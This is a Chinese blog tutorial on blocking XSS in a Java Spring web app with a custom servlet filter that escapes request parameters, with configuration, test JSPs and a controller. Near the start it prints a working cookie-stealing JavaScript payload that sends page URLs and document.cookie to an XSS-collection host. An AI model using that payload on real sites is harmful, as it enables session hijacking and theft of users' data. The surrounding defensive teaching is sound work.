原文地址:http://blog.51cto.com/983836259/1880278
一 简介
如题所示,如果不在服务端对用户的输入信息进行过滤,然后该参数又直接在前台页面中展示,毫无疑问将会容易引发XSS攻击(跨站脚本攻击),比如说这样:
form表单中有这么一个字段:
1
|
<
input
type
=
"text"
id
=
"author"
name
=
"author"
placeholder
=
"昵称"
/>
|
然后潜在攻击者在该字段上填入以下内容:
1
|
<
script
>alert('XSS')</
script
>
|
紧接着服务端忽略了“一切来至其他系统的数据都存在安全隐患”的原则,并没有对来至用户的数据进行过滤,导致了直接在前台页面中进行展示。很显然直接弹窗了:
当然,这里仅仅只是一个无伤大雅的弹窗,如果是恶意的攻击者呢?他可能会利用这个漏洞盗取cookie、篡改网页,甚至是配合CSRF漏洞伪造用户请求,形成大规模爆发的蠕虫病毒等等。
比如说远程加载这么一个js将会导致用户的cookie被窃取:
1
2
|
(
function
(){(
new
Image()).src=
'http://xss.domain.com/index.php?do=api&id=ykvR5H&location='
+escape((
function
(){
try
{
return
document.location.href}
catch
(e){
return
''
}})())+
'&toplocation='
+escape((
function
(){
try
{
return
top.location.href}
catch
(e){
return
''
}})())+
'&cookie='
+escape((
function
(){
try
{
return
document.cookie}
catch
(e){
return
''
}})())+
'&opener='
+escape((
function
(){
try
{
return
(window.opener && window.opener.location.href)?window.opener.location.href:
''
}
catch
(e){
return
''
}})());})();
if
(
'1'
==1){keep=
new
Image();keep.src=
'http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url='
+escape(document.location)+
'&cookie='
+escape(document.cookie)};
|
然后将可以在自己搭建的XSS平台中收到信息,比如像这样:
注:因为我在这个demo程序里没有设置cookie,因此cookie那一栏显示为空白
当然,值得庆幸的是,像国内一些主流的浏览器(如:360浏览器、猎豹浏览器)对这类常见的XSS payload都进行了过滤,查看网页源代码可以发现这些危险的字符均使用了鲜艳的红色字体进行了标注,同时该脚本并不能成功地执行:
二 使用Filter过滤容易引发XSS的危险字符
(1)自定义一个过滤用的Filter:
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
|
package
cn.zifangsky.filter;
import
java.io.IOException;
import
java.util.Enumeration;
import
java.util.Map;
import
java.util.Vector;
import
java.util.regex.Matcher;
import
java.util.regex.Pattern;
import
javax.servlet.FilterChain;
import
javax.servlet.ServletException;
import
javax.servlet.http.HttpServletRequest;
import
javax.servlet.http.HttpServletRequestWrapper;
import
javax.servlet.http.HttpServletResponse;
import
org.apache.commons.lang3.StringEscapeUtils;
import
org.apache.commons.lang3.StringUtils;
import
org.springframework.web.filter.OncePerRequestFilter;
public
class
XSSFilter
extends
OncePerRequestFilter {
private
String exclude =
null
;
//不需要过滤的路径集合
private
Pattern pattern =
null
;
//匹配不需要过滤路径的正则表达式
public
void
setExclude(String exclude) {
this
.exclude = exclude;
pattern = Pattern.compile(getRegStr(exclude));
}
/**
* XSS过滤
*/
protected
void
doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
throws
ServletException, IOException {
String requestURI = request.getRequestURI();
if
(StringUtils.isNotBlank(requestURI))
requestURI = requestURI.replace(request.getContextPath(),
""
);
if
(pattern.matcher(requestURI).matches())
filterChain.doFilter(request, response);
else
{
EscapeScriptwrapper escapeScriptwrapper =
new
EscapeScriptwrapper(request);
filterChain.doFilter(escapeScriptwrapper, response);
}
}
/**
* 将传递进来的不需要过滤得路径集合的字符串格式化成一系列的正则规则
* @param str 不需要过滤的路径集合
* @return 正则表达式规则
* */
private
String getRegStr(String str){
if
(StringUtils.isNotBlank(str)){
String[] excludes = str.split(
";"
);
//以分号进行分割
int
length = excludes.length;
for
(
int
i=
0
;i<length;i++){
String tmpExclude = excludes[i];
//对点、反斜杠和星号进行转义
tmpExclude = tmpExclude.replace(
"\\"
,
"\\\\"
).replace(
"."
,
"\\."
).replace(
"*"
,
".*"
);
tmpExclude =
"^"
+ tmpExclude +
"$"
;
excludes[i] = tmpExclude;
}
return
StringUtils.join(excludes,
"|"
);
}
return
str;
}
/**
* 继承HttpServletRequestWrapper,创建装饰类,以达到修改HttpServletRequest参数的目的
* */
private
class
EscapeScriptwrapper
extends
HttpServletRequestWrapper{
private
Map<String, String[]> parameterMap;
//所有参数的Map集合
public
EscapeScriptwrapper(HttpServletRequest request) {
super
(request);
parameterMap = request.getParameterMap();
}
//重写几个HttpServletRequestWrapper中的方法
/**
* 获取所有参数名
* @return 返回所有参数名
* */
@Override
public
Enumeration<String> getParameterNames() {
Vector<String> vector =
new
Vector<String>(parameterMap.keySet());
return
vector.elements();
}
/**
* 获取指定参数名的值,如果有重复的参数名,则返回第一个的值
* 接收一般变量 ,如text类型
*
* @param name 指定参数名
* @return 指定参数名的值
* */
@Override
public
String getParameter(String name) {
String[] results = parameterMap.get(name);
if
(results ==
null
|| results.length <=
0
)
return
null
;
else
{
return
escapeXSS(results[
0
]);
}
}
/**
* 获取指定参数名的所有值的数组,如:checkbox的所有数据
* 接收数组变量 ,如checkobx类型
* */
@Override
public
String[] getParameterValues(String name) {
String[] results = parameterMap.get(name);
if
(results ==
null
|| results.length <=
0
)
return
null
;
else
{
int
length = results.length;
for
(
int
i=
0
;i<length;i++){
results[i] = escapeXSS(results[i]);
}
return
results;
}
}
/**
* 过滤字符串中的js脚本
* 解码:StringEscapeUtils.unescapeXml(escapedStr)
* */
private
String escapeXSS(String str){
str = StringEscapeUtils.escapeXml(str);
Pattern tmpPattern = Pattern.compile(
"[sS][cC][rR][iI][pP][tT]"
);
Matcher tmpMatcher = tmpPattern.matcher(str);
if
(tmpMatcher.find()){
str = tmpMatcher.replaceAll(tmpMatcher.group(
0
) +
"\\\\"
);
}
return
str;
}
}
}
|
(2)在web.xml文件中将该过滤器放在最前面或者是字符编码过滤器之后:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<
filter
>
<
filter-name
>xssFilter</
filter-name
>
<
filter-class
>cn.zifangsky.filter.XSSFilter</
filter-class
>
<
init-param
>
<
param-name
>exclude</
param-name
>
<
param-value
>/;/scripts/*;/styles/*;/images/*</
param-value
>
</
init-param
>
</
filter
>
<
filter-mapping
>
<
filter-name
>xssFilter</
filter-name
>
<
url-pattern
>*.html</
url-pattern
>
<!-- 直接从客户端过来的请求以及通过forward过来的请求都要经过该过滤器 -->
<
dispatcher
>REQUEST</
dispatcher
>
<
dispatcher
>FORWARD</
dispatcher
>
</
filter-mapping
>
|
关于这个自定义的过滤器,我觉得有以下几点需要简单说明下:
i)我这里为了方便,没有自己手动写很多过滤规则,只是使用了commons-lang3-3.2.jar 这个jar包中的 StringEscapeUtils 这个方法类来进行过滤。在这个类中有以下几种过滤方法,分别是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。关于这几种方法分别是如何进行过滤的可以自行查阅官方文档或者自己动手写一个简单的Demo进行测试。当然,我这里使用的是escapeXml这个方法进行过滤
ii)因为一个web工程中通常会存在js、CSS、图片这类静态资源目录的,很显然这些目录是不需要进行过滤的。因此我也做了这方面的处理,代码很简单,看看上面的例子就明白了,或者可以看看我的这篇文章:https://www.zifangsky.cn/647.html
iii)关于“在Filter中修改HttpServletRequest中的参数”这个问题,只需要自定义一个类继承与HttpServletRequestWrapper 这个类,然后复写几个方法即可。如果对这方面不太理解的同学可以看看我的这篇文章:https://www.zifangsky.cn/677.html
iv)在上面的过滤器中,我在escapeXSS(String str) 这个方法的后面还针对“# οnerrοr=javascript:alert(123)” 这种语句进行了专门的过滤。不过不过滤的话问题也不大,我觉得最多就是出现个弹窗,因为把尖括号和引号都给转义了,并不能够执行一些比较危险的操作
(3)两个测试的前台页面:
i)form表单页面input.jsp:
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<
html
>
<
head
>
<
meta
http-equiv
=
"Content-Type"
content
=
"text/html; charset=UTF-8"
>
<
base
href="<%=basePath%>">
<
title
>FilterDemo</
title
>
</
head
>
<
body
>
<
div
align
=
"center"
>
Please input you want to say:
<
form
action
=
"show.html"
method
=
"post"
>
<
table
>
<
tr
>
<
td
><
input
type
=
"text"
id
=
"author"
name
=
"author"
placeholder
=
"昵称"
/></
td
>
</
tr
>
<
tr
>
<
td
><
input
type
=
"text"
id
=
"email"
name
=
"email"
placeholder
=
"邮箱"
/></
td
>
</
tr
>
<
tr
>
<
td
><
input
type
=
"text"
id
=
"url"
name
=
"url"
placeholder
=
"网址"
></
td
>
</
tr
>
<
tr
>
<
td
><
textarea
name
=
"comment"
rows
=
"5"
placeholder
=
"来都来了,何不XSS一下"
></
textarea
></
td
>
</
tr
>
<
tr
>
<
td
align
=
"center"
><
input
type
=
"submit"
value
=
"Go"
/>
</
tr
>
</
table
>
</
form
>
</
div
>
</
body
>
</
html
>
|
ii)结果显示页面show.jsp:
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<
html
>
<
head
>
<
meta
http-equiv
=
"Content-Type"
content
=
"text/html; charset=UTF-8"
>
<
base
href="<%=basePath%>">
<
title
>FilterDemo</
title
>
</
head
>
<
body
>
<
div
align
=
"center"
>
<
table
>
<
tr
>
<
td
>昵称:</
td
><
td
>${author}</
td
>
</
tr
>
<
tr
>
<
td
>邮箱:</
td
><
td
>${email}</
td
>
</
tr
>
<
tr
>
<
td
>网址:</
td
><
td
>${url}</
td
>
</
tr
>
<
tr
>
<
td
>留言:</
td
><
td
>${comment}</
td
>
</
tr
>
<!-- <tr>
<td><img alt="x" src=${comment}></td>
</tr> -->
</
table
>
</
div
>
</
body
>
</
html
>
|
(4)测试用的Controller:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
package
cn.zifangsky.controller;
import
org.springframework.stereotype.Controller;
import
org.springframework.web.bind.annotation.RequestMapping;
import
org.springframework.web.bind.annotation.RequestParam;
import
org.springframework.web.servlet.ModelAndView;
@Controller
public
class
CommentController {
/**
* 获取留言并在页面展示
* */
@RequestMapping
(
"/show.html"
)
public
ModelAndView showComment(
@RequestParam
(name =
"author"
, required =
true
) String author,
@RequestParam
(name =
"email"
, required =
false
) String email,
@RequestParam
(name =
"url"
, required =
false
) String url,
@RequestParam
(name =
"comment"
, required =
false
) String comment) {
ModelAndView mAndView =
new
ModelAndView(
"show"
);
mAndView.addObject(
"author"
, author);
mAndView.addObject(
"email"
, email);
mAndView.addObject(
"url"
, url);
mAndView.addObject(
"comment"
, comment);
return
mAndView;
}
}
|
这里的代码逻辑很简单,因此就不多做解释了
(5)测试:
测试的效果如下:
对应的网页源代码是这样的:
可以看出,我们的目标已经成功实现了,本篇文章到此结束